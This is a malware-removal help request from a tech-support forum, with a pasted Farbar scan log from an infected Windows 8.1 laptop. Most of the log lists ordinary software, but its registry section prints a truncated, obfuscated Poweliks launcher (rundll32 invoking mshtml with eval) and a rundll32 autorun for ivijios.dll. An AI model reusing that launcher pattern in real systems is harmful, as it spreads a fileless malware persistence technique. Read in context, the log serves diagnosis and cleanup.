Javascript Disabled Detected

You currently have javascript disabled. Several functions may not work. Please re-enable javascript to access full functionality.

Several malware issues, ivijios.dll & Wow64 error [Solved]

Started by smwifey , Jul 28 2015 03:00 PM

This topic is locked

#1
smwifey

Posted 28 July 2015 - 03:00 PM

Member

Member
85 posts

My brother asked me to try to speed up his computer. After messing with it for a while I see why he is having issues. I deleted Norton and installed Malwarbyes and Avira. Ran Malwarebytes and it found 89 problems. Now I am getting popups that say something about Wow64 error. Also on restart I get ivijios.dll errors. Installed and ran Farbar, here are scans:

Scan result of Farbar Recovery Scan Tool (FRST) (x64) Version:26-07-2015

Ran by Richie (administrator) on RICHIE (28-07-2015 16:34:42)

Running from C:\Users\Richie\Downloads

Loaded Profiles: Richie (Available Profiles: Richie)

Platform: Windows 8.1 (X64) Language: English (United States)

Internet Explorer Version 11 (Default browser: Chrome)

Boot Mode: Normal

Tutorial for Farbar Recovery Scan Tool: http://www.geekstogo...very-scan-tool/

==================== Processes (Whitelisted) =================

(If an entry is included in the fixlist, the process will be closed. The file will not be moved.)

(AMD) C:\Windows\System32\atiesrxx.exe

(AMD) C:\Windows\System32\atieclxx.exe

(Avira Operations GmbH & Co. KG) C:\Program Files (x86)\Avira\Antivirus\sched.exe

(Andrea Electronics Corporation) C:\Program Files\Realtek\Audio\HDA\AERTSr64.exe

(Advanced Micro Devices, Inc.) C:\Program Files\ATI Technologies\ATI.ACE\Fuel\Fuel.Service.exe

(Avira Operations GmbH & Co. KG) C:\Program Files (x86)\Avira\Antivirus\avguard.exe

(Apple Inc.) C:\Program Files\Bonjour\mDNSResponder.exe

(Hewlett-Packard Development Company, L.P.) C:\Program Files (x86)\Hewlett-Packard\HP Quick Launch\HPWMISVC.exe

(Microsoft Corporation) C:\Windows\System32\dasHost.exe

(Malwarebytes Corporation) C:\Program Files (x86)\Malwarebytes Anti-Malware\mbamscheduler.exe

(Avira Operations GmbH & Co. KG) C:\Program Files (x86)\Avira\Launcher\Avira.ServiceHost.exe

(Synaptics Incorporated) C:\Program Files\Synaptics\SynTP\SynTPEnh.exe

(CyberLink) C:\Program Files (x86)\CyberLink\YouCam\YCMMirage.exe

(CyberLink) C:\Program Files (x86)\CyberLink\Power2Go8\CLMLSvc_P2G8.exe

(Avira Operations GmbH & Co. KG) C:\Program Files (x86)\Avira\Antivirus\avshadow.exe

(Microsoft Corporation) C:\Windows\System32\GWX\GWX.exe

(Microsoft Corporation) C:\Windows\System32\SettingSyncHost.exe

(Microsoft Corporation) C:\Windows\System32\SkyDrive.exe

(Synaptics Incorporated) C:\Program Files\Synaptics\SynTP\SynTPHelper.exe

(Hewlett-Packard Company) C:\Program Files (x86)\Hewlett-Packard\HP Support Framework\HPSA_Service.exe

(Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RtkNGUI64.exe

(CyberLink Corp.) C:\Program Files (x86)\CyberLink\PowerDVD10\PDVD10Serv.exe

(Hewlett-Packard Development Company, L.P.) C:\Program Files (x86)\Hewlett-Packard\HP Quick Launch\HPMSGSVC.exe

(Hewlett-Packard Company) C:\Program Files (x86)\Hewlett-Packard\Shared\hpqwmiex.exe

(Avira Operations GmbH & Co. KG) C:\Program Files (x86)\Avira\Antivirus\avgnt.exe

(Advanced Micro Devices Inc.) C:\Program Files (x86)\ATI Technologies\ATI.ACE\Core-Static\MOM.exe

(Avira Operations GmbH & Co. KG) C:\Program Files (x86)\Avira\Launcher\Avira.Systray.exe

(ATI Technologies Inc.) C:\Program Files (x86)\ATI Technologies\ATI.ACE\Core-Static\CCC.exe

(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

==================== Registry (Whitelisted) ==================

(If an entry is included in the fixlist, the registry item will be restored to default or removed. The file will not be moved.)

HKLM\...\Run: [RTHDVCPL] => C:\Program Files\Realtek\Audio\HDA\RtkNGUI64.exe [6548112 2012-06-12] (Realtek Semiconductor)

HKLM\...\Run: [SynTPEnh] => C:\Program Files\Synaptics\SynTP\SynTPEnh.exe [3030256 2013-05-16] (Synaptics Incorporated)

HKLM-x32\...\Run: [CLVirtualDrive] => C:\Program Files (x86)\CyberLink\Power2Go8\VirtualDrive.exe [491320 2012-07-26] (CyberLink Corp.)

HKLM-x32\...\Run: [RemoteControl10] => C:\Program Files (x86)\CyberLink\PowerDVD10\PDVD10Serv.exe [91432 2012-03-28] (CyberLink Corp.)

HKLM-x32\...\Run: [HP Quick Launch] => C:\Program Files (x86)\Hewlett-Packard\HP Quick Launch\HPMSGSVC.exe [580512 2012-07-09] (Hewlett-Packard Development Company, L.P.)

HKLM-x32\...\Run: [{b090579d-244c-e682-7cd6-e6daa5c7aff0}] => "C:\ProgramData\Microsoft\{b090579d-244c-e682-7cd6-e6daa5c7aff0}\{b090579d-244c-e682-7cd6-e6daa5c7aff0}.exe"

HKLM-x32\...\Run: [StartCCC] => C:\Program Files (x86)\ATI Technologies\ATI.ACE\Core-Static\amd64\CLIStart.exe [766688 2014-07-04] (Advanced Micro Devices, Inc.)

HKLM-x32\...\Run: [Avira Systray] => C:\Program Files (x86)\Avira\Launcher\Avira.Systray.exe [134368 2015-06-02] (Avira Operations GmbH & Co. KG)

HKLM-x32\...\Run: [avgnt] => C:\Program Files (x86)\Avira\Antivirus\avgnt.exe [782008 2015-07-15] (Avira Operations GmbH & Co. KG)

HKLM Group Policy restriction on software: C:\Program Files\Symantec <====== ATTENTION

HKLM Group Policy restriction on software: C:\Program Files\Common Files\Symantec Shared <====== ATTENTION

HKLM\Software\Policies\Microsoft\Windows NT\SystemRestore: [DisableSR/DisableConfig] <===== ATTENTION

HKU\S-1-5-21-2321640021-2341620851-140482586-1002\...\Run: [ivijios] => rundll32 "C:\Users\Richie\AppData\Local\ivijios.dll",ivijios <===== ATTENTION

HKU\S-1-5-21-2321640021-2341620851-140482586-1002\...A8F59079A8D5}\localserver32: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";eval("epdvnfou/xsjuf)(=tdsjqu!mbohvbhf>ktds (the data entry has 239 more characters). <==== Poweliks!

==================== Internet (Whitelisted) ====================

(If an item is included in the fixlist, if it is a registry item it will be removed or restored to default.)

HKLM\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local: [ActivePolicy] SOFTWARE\Policies\Microsoft\Windows\IPSEC\Policy\Local\ipsecPolicy{eedc51b2-9627-4964-8aab-3c12119ef845} <======= ATTENTION (Policy restriction on IP)

HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = http://g.msn.com/HPNOT13/1

HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = http://g.msn.com/HPNOT13/1

HKU\S-1-5-21-2321640021-2341620851-140482586-1002\Software\Microsoft\Internet Explorer\Main,Start Page = http://g.msn.com/HPNOT13/1

HKU\S-1-5-21-2321640021-2341620851-140482586-1002\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = http://g.msn.com/HPNOT13/1

SearchScopes: HKLM -> {2fa28606-de77-4029-af96-b231e3b8f827} URL = http://search.ask.co...&l=dis&o=HPNTDF

SearchScopes: HKLM -> {b7fca997-d0fb-4fe0-8afd-255e89cf9671} URL = http://search.yahoo....psg&type=HPNTDF

SearchScopes: HKLM -> {D944BB61-2E34-4DBF-A683-47E505C587DC} URL = http://rover.ebay.co...54371-11896-2/4 ?mpre=http%3A%2F%2Fwww.ebay.com%2Fsch%2F%3F_nkw%3D{searchTerms}&keyword={searchTerms}

SearchScopes: HKLM-x32 -> {2fa28606-de77-4029-af96-b231e3b8f827} URL = http://search.ask.co...&l=dis&o=HPNTDF

SearchScopes: HKLM-x32 -> {b7fca997-d0fb-4fe0-8afd-255e89cf9671} URL = http://search.yahoo....psg&type=HPNTDF

SearchScopes: HKLM-x32 -> {D944BB61-2E34-4DBF-A683-47E505C587DC} URL = http://rover.ebay.co...54371-11896-2/4 ?mpre=http%3A%2F%2Fwww.ebay.com%2Fsch%2F%3F_nkw%3D{searchTerms}&keyword={searchTerms}

SearchScopes: HKU\S-1-5-21-2321640021-2341620851-140482586-1002 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = http://www.bing.com/...q={searchTerms}

SearchScopes: HKU\S-1-5-21-2321640021-2341620851-140482586-1002 -> {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = http://www.bing.com/...q={searchTerms}

SearchScopes: HKU\S-1-5-21-2321640021-2341620851-140482586-1002 -> {2fa28606-de77-4029-af96-b231e3b8f827} URL = http://search.ask.co...&l=dis&o=HPNTDF

SearchScopes: HKU\S-1-5-21-2321640021-2341620851-140482586-1002 -> {b7fca997-d0fb-4fe0-8afd-255e89cf9671} URL = http://search.yahoo....psg&type=HPNTDF

SearchScopes: HKU\S-1-5-21-2321640021-2341620851-140482586-1002 -> {D944BB61-2E34-4DBF-A683-47E505C587DC} URL = http://rover.ebay.co...54371-11896-2/4 ?mpre=http%3A%2F%2Fwww.ebay.com%2Fsch%2F%3F_nkw%3D{searchTerms}&keyword={searchTerms}

BHO: HP Network Check Helper -> {E76FD755-C1BA-4DCB-9F13-99BD91223ADE} -> C:\Program Files (x86)\Hewlett-Packard\HP Support Framework\Resources\HPNetworkCheck\HPNetworkCheckPluginx64.dll [2013-08-28] (Hewlett-Packard)

BHO-x32: HP Network Check Helper -> {E76FD755-C1BA-4DCB-9F13-99BD91223ADE} -> C:\Program Files (x86)\Hewlett-Packard\HP Support Framework\Resources\HPNetworkCheck\HPNetworkCheckPlugin.dll [2013-08-28] (Hewlett-Packard)

Tcpip\Parameters: [DhcpNameServer] 192.168.254.254

Tcpip\..\Interfaces\{406A6EC4-A42A-4564-810E-0501F8EED96A}: [DhcpNameServer] 192.168.254.254

Tcpip\..\Interfaces\{D51C3955-2AF3-49BA-9C94-C3C07B602A4D}: [DhcpNameServer] 192.168.254.254

FireFox:

========

FF Plugin-x32: @adobe.com/ShockwavePlayer -> C:\windows\SysWOW64\Adobe\Director\np32dsw.dll [2012-04-26] (Adobe Systems, Inc.)

FF Plugin-x32: @microsoft.com/WLPG,version=15.4.3502.0922 -> C:\Program Files (x86)\Windows Live\Photo Gallery\NPWLPG.dll [2012-03-08] (Microsoft Corporation)

FF Plugin-x32: @microsoft.com/WLPG,version=15.4.3555.0308 -> C:\Program Files (x86)\Windows Live\Photo Gallery\NPWLPG.dll [2012-03-08] (Microsoft Corporation)

FF Plugin-x32: @tools.google.com/Google Update;version=3 -> C:\Program Files (x86)\Google\Update\1.3.28.1\npGoogleUpdate3.dll [2015-07-27] (Google Inc.)

FF Plugin-x32: @tools.google.com/Google Update;version=9 -> C:\Program Files (x86)\Google\Update\1.3.28.1\npGoogleUpdate3.dll [2015-07-27] (Google Inc.)

FF Plugin-x32: @WildTangent.com/GamesAppPresenceDetector,Version=1.0 -> C:\Program Files (x86)\WildTangent Games\App\BrowserIntegration\Registered\0\NP_wtapp.dll [2012-05-11] ()

Chrome:

=======

CHR Profile: C:\Users\Richie\AppData\Local\Google\Chrome\User Data\Default

CHR Extension: (Google Slides) - C:\Users\Richie\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek [2015-07-27]

CHR Extension: (Google Docs) - C:\Users\Richie\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake [2015-07-27]

CHR Extension: (Google Drive) - C:\Users\Richie\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf [2015-07-27]

CHR Extension: (YouTube) - C:\Users\Richie\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo [2015-07-27]

CHR Extension: (Google Search) - C:\Users\Richie\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf [2015-07-27]

CHR Extension: (Google Sheets) - C:\Users\Richie\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap [2015-07-27]

CHR Extension: (Chrome Hotword Shared Module) - C:\Users\Richie\AppData\Local\Google\Chrome\User Data\Default\Extensions\lccekmodgklaepjeofjdjpbminllajkg [2015-07-27]

CHR Extension: (Chrome Web Store Payments) - C:\Users\Richie\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2015-07-27]

CHR Extension: (Gmail) - C:\Users\Richie\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia [2015-07-27]

==================== Services (Whitelisted) =================

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

R2 AMD FUEL Service; C:\Program Files\ATI Technologies\ATI.ACE\Fuel\Fuel.Service.exe [361984 2012-08-06] (Advanced Micro Devices, Inc.) [File not signed]

S2 AntiVirMailService; C:\Program Files (x86)\Avira\Antivirus\avmailc7.exe [887128 2015-07-15] (Avira Operations GmbH & Co. KG)

R2 AntiVirSchedulerService; C:\Program Files (x86)\Avira\Antivirus\sched.exe [461672 2015-07-15] (Avira Operations GmbH & Co. KG)

R2 AntiVirService; C:\Program Files (x86)\Avira\Antivirus\avguard.exe [461672 2015-07-15] (Avira Operations GmbH & Co. KG)

S2 AntiVirWebService; C:\Program Files (x86)\Avira\Antivirus\avwebg7.exe [1213072 2015-07-15] (Avira Operations GmbH & Co. KG)

R2 Avira.ServiceHost; C:\Program Files (x86)\Avira\Launcher\Avira.ServiceHost.exe [217280 2015-06-02] (Avira Operations GmbH & Co. KG)

S3 BthHFSrv; C:\Windows\System32\BthHFSrv.dll [324608 2014-11-21] (Microsoft Corporation)

R2 HP Support Assistant Service; C:\Program Files (x86)\Hewlett-Packard\HP Support Framework\hpsa_service.exe [92160 2013-11-04] (Hewlett-Packard Company) [File not signed]

R2 MBAMScheduler; C:\Program Files (x86)\Malwarebytes Anti-Malware\mbamscheduler.exe [1871160 2015-06-18] (Malwarebytes Corporation)

S2 MBAMService; C:\Program Files (x86)\Malwarebytes Anti-Malware\mbamservice.exe [1133880 2015-06-18] (Malwarebytes Corporation)

S3 w3logsvc; C:\Windows\system32\inetsrv\w3logsvc.dll [76800 2015-07-10] (Microsoft Corporation)

S3 WdNisSvc; C:\Program Files\Windows Defender\NisSrv.exe [366520 2015-02-03] (Microsoft Corporation)

S2 WinDefend; C:\Program Files\Windows Defender\MsMpEng.exe [23792 2015-02-03] (Microsoft Corporation)

==================== Drivers (Whitelisted) ====================

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

R3 AtiHDAudioService; C:\Windows\system32\drivers\AtihdW86.sys [98472 2012-07-17] (Advanced Micro Devices)

R2 avgntflt; C:\Windows\System32\DRIVERS\avgntflt.sys [137288 2015-07-15] (Avira Operations GmbH & Co. KG)

R1 avipbb; C:\Windows\system32\DRIVERS\avipbb.sys [148632 2015-07-15] (Avira Operations GmbH & Co. KG)

R1 avkmgr; C:\Windows\system32\DRIVERS\avkmgr.sys [28600 2015-07-15] (Avira Operations GmbH & Co. KG)

R2 avnetflt; C:\Windows\system32\DRIVERS\avnetflt.sys [43576 2015-07-15] (Avira Operations GmbH & Co. KG)

R1 CLVirtualDrive; C:\Windows\system32\DRIVERS\CLVirtualDrive.sys [92536 2012-06-25] (CyberLink)

R3 MBAMProtector; C:\WINDOWS\system32\drivers\mbam.sys [25816 2015-06-18] (Malwarebytes Corporation)

S3 MBAMWebAccessControl; C:\WINDOWS\system32\drivers\mwac.sys [64216 2015-06-18] (Malwarebytes Corporation)

R3 RSP2STOR; C:\Windows\system32\DRIVERS\RtsP2Stor.sys [266896 2012-06-13] (Realtek Semiconductor Corp.)

S3 SmbDrv; C:\Windows\System32\drivers\Smb_driver_AMDASF.sys [41272 2012-08-24] (Synaptics Incorporated)

S3 SmbDrvI; C:\Windows\System32\drivers\Smb_driver_Intel.sys [43832 2012-08-24] (Synaptics Incorporated)

S3 WdNisDrv; C:\Windows\System32\Drivers\WdNisDrv.sys [114496 2015-02-03] (Microsoft Corporation)

R3 WirelessButtonDriver; C:\Windows\System32\drivers\WirelessButtonDriver64.sys [20800 2012-08-31] (Hewlett-Packard Development Company, L.P.)

==================== NetSvcs (Whitelisted) ===================

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

==================== One Month Created files and folders ========

(If an entry is included in the fixlist, the file/folder will be moved.)

2015-07-28 16:34 - 2015-07-28 16:35 - 00015115 _____ C:\Users\Richie\Downloads\FRST.txt

2015-07-28 16:34 - 2015-07-28 16:34 - 00000000 ____D C:\FRST

2015-07-28 16:30 - 2015-07-28 16:30 - 02146816 _____ (Farbar) C:\Users\Richie\Downloads\FRST64.exe

2015-07-28 16:00 - 2015-07-28 16:00 - 00000000 ____D C:\Users\Richie\AppData\Roaming\Avira

2015-07-28 15:50 - 2015-07-15 08:37 - 00148632 _____ (Avira Operations GmbH & Co. KG) C:\WINDOWS\system32\Drivers\avipbb.sys

2015-07-28 15:50 - 2015-07-15 08:37 - 00137288 _____ (Avira Operations GmbH & Co. KG) C:\WINDOWS\system32\Drivers\avgntflt.sys

2015-07-28 15:50 - 2015-07-15 08:37 - 00043576 _____ (Avira Operations GmbH & Co. KG) C:\WINDOWS\system32\Drivers\avnetflt.sys

2015-07-28 15:50 - 2015-07-15 08:37 - 00028600 _____ (Avira Operations GmbH & Co. KG) C:\WINDOWS\system32\Drivers\avkmgr.sys

2015-07-28 15:13 - 2015-07-28 15:52 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Avira

2015-07-28 15:13 - 2015-07-28 15:13 - 00001132 _____ C:\Users\Public\Desktop\Avira.lnk

2015-07-28 15:12 - 2015-07-28 15:50 - 00000000 ____D C:\Program Files (x86)\Avira

2015-07-28 15:09 - 2015-07-28 16:04 - 00000000 ____D C:\ProgramData\Avira

2015-07-28 15:06 - 2015-07-28 15:08 - 04636584 _____ (Avira Operations GmbH & Co. KG) C:\Users\Richie\Downloads\avira.exe

2015-07-27 21:59 - 2015-07-28 16:21 - 00113880 _____ (Malwarebytes Corporation) C:\WINDOWS\system32\Drivers\MBAMSwissArmy.sys

2015-07-27 21:58 - 2015-07-27 21:58 - 00001114 _____ C:\Users\Public\Desktop\Malwarebytes Anti-Malware.lnk

2015-07-27 21:58 - 2015-07-27 21:58 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Malwarebytes Anti-Malware

2015-07-27 21:58 - 2015-07-27 21:58 - 00000000 ____D C:\ProgramData\Malwarebytes

2015-07-27 21:58 - 2015-07-27 21:58 - 00000000 ____D C:\Program Files (x86)\Malwarebytes Anti-Malware

2015-07-27 21:58 - 2015-06-18 08:42 - 00064216 _____ (Malwarebytes Corporation) C:\WINDOWS\system32\Drivers\mwac.sys

2015-07-27 21:58 - 2015-06-18 08:41 - 00109272 _____ (Malwarebytes Corporation) C:\WINDOWS\system32\Drivers\mbamchameleon.sys

2015-07-27 21:58 - 2015-06-18 08:41 - 00025816 _____ (Malwarebytes Corporation) C:\WINDOWS\system32\Drivers\mbam.sys

2015-07-27 21:03 - 2015-07-27 21:57 - 24345872 _____ (Malwarebytes Corporation ) C:\Users\Richie\Downloads\mbam-setup-2.1.8.1057.exe

2015-07-27 20:51 - 2015-07-27 20:51 - 00002275 _____ C:\Users\Public\Desktop\Google Chrome.lnk

2015-07-27 20:51 - 2015-07-27 20:51 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome

2015-07-27 20:40 - 2015-07-28 16:09 - 00000916 _____ C:\WINDOWS\Tasks\GoogleUpdateTaskMachineCore.job

2015-07-27 20:40 - 2015-07-28 15:55 - 00000920 _____ C:\WINDOWS\Tasks\GoogleUpdateTaskMachineUA.job

2015-07-27 20:40 - 2015-07-27 21:50 - 00003892 _____ C:\WINDOWS\System32\Tasks\GoogleUpdateTaskMachineUA

2015-07-27 20:40 - 2015-07-27 21:50 - 00003656 _____ C:\WINDOWS\System32\Tasks\GoogleUpdateTaskMachineCore

2015-07-27 20:40 - 2015-07-27 20:50 - 00000000 ____D C:\Program Files (x86)\Google

2015-07-27 20:39 - 2015-07-27 20:51 - 00000000 ____D C:\Users\Richie\AppData\Local\Google

2015-07-27 20:39 - 2015-07-27 20:39 - 00000000 ____D C:\Users\Richie\AppData\Local\Deployment

2015-07-27 20:39 - 2015-07-27 20:39 - 00000000 ____D C:\Users\Richie\AppData\Local\Apps\2.0

2015-07-27 08:00 - 2015-07-27 08:00 - 00000000 ____D C:\Program Files\Common Files\AV

2015-07-24 13:07 - 2015-07-14 10:14 - 00358912 _____ (Adobe Systems Incorporated) C:\WINDOWS\system32\atmfd.dll

2015-07-24 13:07 - 2015-07-14 10:14 - 00301056 _____ (Adobe Systems Incorporated) C:\WINDOWS\SysWOW64\atmfd.dll

2015-07-24 13:07 - 2015-07-14 10:14 - 00035840 _____ (Adobe Systems) C:\WINDOWS\SysWOW64\atmlib.dll

2015-07-24 13:07 - 2015-07-14 10:13 - 00044032 _____ (Adobe Systems) C:\WINDOWS\system32\atmlib.dll

2015-07-24 13:07 - 2015-05-25 09:23 - 00036864 _____ (Microsoft Corporation) C:\WINDOWS\system32\UtcResources.dll

2015-07-24 13:07 - 2015-05-25 09:07 - 01430528 _____ (Microsoft Corporation) C:\WINDOWS\system32\diagtrack.dll

2015-07-22 19:34 - 2015-07-22 19:34 - 00000000 ____D C:\Users\Richie\AppData\Local\GWX

2015-07-20 08:25 - 2015-07-20 08:25 - 00000000 ____D C:\ProgramData\ATI

2015-07-20 08:00 - 2015-07-25 08:15 - 00000000 ___SD C:\WINDOWS\system32\GWX

2015-07-20 08:00 - 2015-07-20 08:00 - 00000000 ___SD C:\WINDOWS\SysWOW64\GWX

2015-07-17 10:59 - 2015-07-17 10:59 - 00266240 _____ C:\Users\Richie\AppData\Roaming\7afd7914.dll

2015-07-17 09:52 - 2015-07-17 09:52 - 00060601 _____ C:\WINDOWS\SysWOW64\CCCInstall_201507170952212808.log

2015-07-17 09:51 - 2015-07-17 09:51 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AMD Catalyst Control Center

2015-07-17 09:49 - 2015-07-28 15:13 - 00000000 ____D C:\ProgramData\Package Cache

2015-07-17 09:46 - 2015-07-17 09:46 - 00000000 ____D C:\Users\Default\AppData\Roaming\ATI

2015-07-17 09:46 - 2015-07-17 09:46 - 00000000 ____D C:\Users\Default\AppData\Local\ATI

2015-07-17 09:46 - 2015-07-17 09:46 - 00000000 ____D C:\Users\Default User\AppData\Roaming\ATI

2015-07-17 09:46 - 2015-07-17 09:46 - 00000000 ____D C:\Users\Default User\AppData\Local\ATI

2015-07-17 09:45 - 2015-07-17 09:45 - 00000000 ____D C:\AMD

2015-07-17 09:43 - 2015-07-17 09:43 - 00000000 ____D C:\Program Files\AMD

2015-07-17 08:53 - 2015-07-17 08:53 - 00000000 ____D C:\WINDOWS\system32\appraiser

2015-07-16 13:18 - 2015-06-15 18:39 - 00584192 _____ (Microsoft Corporation) C:\WINDOWS\system32\vbscript.dll

2015-07-16 13:18 - 2015-06-15 18:38 - 00088064 _____ (Microsoft Corporation) C:\WINDOWS\system32\MshtmlDac.dll

2015-07-16 13:18 - 2015-06-15 18:26 - 00633856 _____ (Microsoft Corporation) C:\WINDOWS\system32\ieui.dll

2015-07-16 13:18 - 2015-06-15 18:24 - 00816640 _____ (Microsoft Corporation) C:\WINDOWS\system32\jscript.dll

2015-07-16 13:18 - 2015-06-15 18:02 - 00087552 _____ (Microsoft Corporation) C:\WINDOWS\system32\tdc.ocx

2015-07-16 13:18 - 2015-06-15 17:58 - 00199680 _____ (Microsoft Corporation) C:\WINDOWS\system32\msrating.dll

2015-07-16 13:18 - 2015-06-15 17:57 - 00092160 _____ (Microsoft Corporation) C:\WINDOWS\system32\mshtmled.dll

2015-07-16 13:18 - 2015-06-15 17:56 - 00145408 _____ (Microsoft Corporation) C:\WINDOWS\system32\iepeers.dll

2015-07-16 13:18 - 2015-06-15 17:55 - 00316928 _____ (Microsoft Corporation) C:\WINDOWS\system32\dxtrans.dll

2015-07-16 13:18 - 2015-06-15 17:49 - 01032704 _____ (Microsoft Corporation) C:\WINDOWS\system32\inetcomm.dll

2015-07-16 13:18 - 2015-06-15 17:41 - 00262144 _____ (Microsoft Corporation) C:\WINDOWS\system32\webcheck.dll

2015-07-16 13:18 - 2015-06-15 17:38 - 00801280 _____ (Microsoft Corporation) C:\WINDOWS\system32\msfeeds.dll

2015-07-16 13:18 - 2015-06-15 17:36 - 02125824 _____ (Microsoft Corporation) C:\WINDOWS\system32\inetcpl.cpl

2015-07-16 13:18 - 2015-06-15 17:17 - 02880000 _____ (Microsoft Corporation) C:\WINDOWS\system32\actxprxy.dll

2015-07-16 13:18 - 2015-06-15 17:16 - 02427392 _____ (Microsoft Corporation) C:\WINDOWS\system32\wininet.dll

2015-07-16 13:18 - 2015-06-15 17:15 - 00504320 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\vbscript.dll

2015-07-16 13:18 - 2015-06-15 17:13 - 00064000 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\MshtmlDac.dll

2015-07-16 13:18 - 2015-06-15 17:04 - 00478208 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\ieui.dll

2015-07-16 13:18 - 2015-06-15 17:03 - 00664064 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\jscript.dll

2015-07-16 13:18 - 2015-06-15 16:52 - 00800768 _____ (Microsoft Corporation) C:\WINDOWS\system32\ieapfltr.dll

2015-07-16 13:18 - 2015-06-15 16:47 - 00073216 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\tdc.ocx

2015-07-16 13:18 - 2015-06-15 16:44 - 00168960 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\msrating.dll

2015-07-16 13:18 - 2015-06-15 16:43 - 00076288 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mshtmled.dll

2015-07-16 13:18 - 2015-06-15 16:42 - 00128000 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\iepeers.dll

2015-07-16 13:18 - 2015-06-15 16:41 - 00285696 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\dxtrans.dll

2015-07-16 13:18 - 2015-06-15 16:37 - 00880128 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\inetcomm.dll

2015-07-16 13:18 - 2015-06-15 16:32 - 00230400 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\webcheck.dll

2015-07-16 13:18 - 2015-06-15 16:31 - 00689152 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\msfeeds.dll

2015-07-16 13:18 - 2015-06-15 16:30 - 02052608 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\inetcpl.cpl

2015-07-16 13:18 - 2015-06-15 16:30 - 00327168 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\iedkcs32.dll

2015-07-16 13:18 - 2015-06-15 16:17 - 01048576 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\actxprxy.dll

2015-07-16 13:18 - 2015-06-15 16:07 - 01951232 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\wininet.dll

2015-07-16 13:18 - 2015-06-15 16:02 - 00710144 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\ieapfltr.dll

2015-07-16 13:18 - 2015-05-22 23:14 - 00341504 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\html.iec

2015-07-16 13:18 - 2015-05-22 23:04 - 00620032 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\jscript9diag.dll

2015-07-16 13:18 - 2015-05-22 15:00 - 00417792 _____ (Microsoft Corporation) C:\WINDOWS\system32\html.iec

2015-07-16 13:18 - 2015-05-22 14:47 - 00814080 _____ (Microsoft Corporation) C:\WINDOWS\system32\jscript9diag.dll

2015-07-16 13:18 - 2015-05-22 14:08 - 00374272 _____ (Microsoft Corporation) C:\WINDOWS\system32\iedkcs32.dll

2015-07-16 13:18 - 2015-04-21 12:13 - 00107520 _____ (Microsoft Corporation) C:\WINDOWS\system32\inseng.dll

2015-07-16 13:18 - 2015-04-21 11:49 - 00720384 _____ (Microsoft Corporation) C:\WINDOWS\system32\ie4uinit.exe

2015-07-16 13:18 - 2015-01-11 22:21 - 00490496 _____ (Microsoft Corporation) C:\WINDOWS\system32\dxtmsft.dll

2015-07-16 13:18 - 2015-01-11 21:45 - 00418304 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\dxtmsft.dll

2015-07-16 12:35 - 2015-07-02 17:21 - 19877376 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mshtml.dll

2015-07-16 12:35 - 2015-07-02 16:50 - 02279424 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\iertutil.dll

2015-07-16 12:35 - 2015-07-02 16:49 - 25193984 _____ (Microsoft Corporation) C:\WINDOWS\system32\mshtml.dll

2015-07-16 12:35 - 2015-07-02 16:23 - 02885632 _____ (Microsoft Corporation) C:\WINDOWS\system32\iertutil.dll

2015-07-16 12:35 - 2015-07-02 16:19 - 12855296 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\ieframe.dll

2015-07-16 12:35 - 2015-07-02 15:55 - 01310720 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\urlmon.dll

2015-07-16 12:35 - 2015-07-02 15:20 - 14453248 _____ (Microsoft Corporation) C:\WINDOWS\system32\ieframe.dll

2015-07-16 12:35 - 2015-07-02 14:59 - 01545728 _____ (Microsoft Corporation) C:\WINDOWS\system32\urlmon.dll

2015-07-16 12:00 - 2015-04-13 18:37 - 00275968 _____ (Microsoft Corporation) C:\WINDOWS\system32\authz.dll

